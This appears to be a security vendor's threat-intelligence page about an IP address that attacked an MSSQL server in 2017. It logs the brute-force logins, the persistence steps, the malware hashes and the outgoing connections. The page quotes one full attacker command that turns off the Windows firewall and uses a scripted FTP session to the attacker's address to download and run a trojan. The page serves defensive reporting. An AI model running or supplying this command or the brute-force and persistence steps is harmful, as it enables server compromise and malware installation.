IP Address: 122.114.6.183Previously Malicious

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IP Address:
122.114.6.183​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Connect-Back

Services Targeted

MSSQL

Tags

Download and Execute DNS Query File Operation By CMD Modification Execute MsSql Shell Command CMD Create MsSql Table Persistency - Logon Drop MsSql Table Access Suspicious Domain Malicious File Persistency - Image Hijack MSSQL MSSQL Brute Force MSSQL 2016 IDS - Attempted User Privilege Gain Create MsSql Procedure Successful MSSQL Login Outgoing Connection

Associated Attack Servers

www.msftncsi.com molong324.f3322.net 127.0.0.1

0.0.0.0

Basic Information

IP Address

122.114.6.183

Domain

-

ISP

ZhengZhou GIANT Computer Network Technology Co.

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2017-08-15

Last seen in Guardicore Centra

2017-08-15

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following username: sa - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful MSSQL Login MSSQL Brute Force

A user logged in using MSSQL with the following username: sa - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 10 times

Successful MSSQL Login MSSQL Brute Force

A user logged in using MSSQL with the following credentials: sa / ********* - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 2 times

Successful MSSQL Login MSSQL Brute Force

A user logged in using MSSQL with the following credentials: bwsa / ****** - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful MSSQL Login MSSQL Brute Force

A user logged in using MSSQL with the following credentials: bwsa / ****** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

Successful MSSQL Login MSSQL Brute Force

MSSQL procedures were created: sp_addextendedproc

Create MsSql Procedure

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line C:\WINDOWS\ime\cv.exe to run using Persistency - Image Hijack 2 times

Persistency - Image Hijack Persistency - Logon

MSSQL tables were dropped: #A2DCB9B1 and #A4C50223

Drop MsSql Table

MSSQL tables were created: #temp_jobs_to_delete________________________________________________________________________________________________000000000002 and #temp_jobs_to_delete________________________________________________________________________________________________000000000003

Create MsSql Table

MSSQL executed 7 shell commands

Execute MsSql Shell Command

Process c:\windows\system32\ftp.exe generated outgoing network traffic to: 122.114.6.183:21 and 0.0.0.0:49427

Outgoing Connection

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 122.114.6.183 > cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get muma.exe>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&muma.exe&muma.exe&del cmd.txt to run using Persistency - Logon 2 times

Persistency - Image Hijack Persistency - Logon

Process c:\windows\system32\ftp.exe generated outgoing network traffic to: 0.0.0.0:49429 and 122.114.6.183:21

Outgoing Connection

IDS detected Attempted User Privilege Gain : MS-SQL SQL Injection closing string plus line comment

IDS - Attempted User Privilege Gain

The file C:\Windows\System32\ws.exe was downloaded and executed 4 times

Download and Execute

C:\Windows\System32\hexmuma.exe was identified as malicious by YARA according to rules: Peid and Packer Compiler Signatures

Malicious File

C:\Users\hexmuma.exe was identified as malicious by YARA according to rules: Peid and Packer Compiler Signatures

Malicious File

The file C:\Windows\System32\hexmuma.exe was downloaded and executed

Download and Execute

Process c:\windows\system32\hexmuma.exe attempted to access domains: molong324.f3322.net

DNS Query

Process c:\windows\system32\hexmuma.exe generated outgoing network traffic to: 122.114.6.183:8000

Outgoing Connection

Process c:\windows\system32\hexmuma.exe attempted to access suspicious domains: 127.0.0.1

Access Suspicious Domain Outgoing Connection DNS Query

Associated Files

C:\Windows\System32\hexmuma.exe

SHA256: 378476fdb2f9e3e1f6e21ab36e2f9c257f80b7cf1518e643c9b0f5cbc55f488b

200704 bytes

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IP Address: 122.114.6.183​Previously Malicious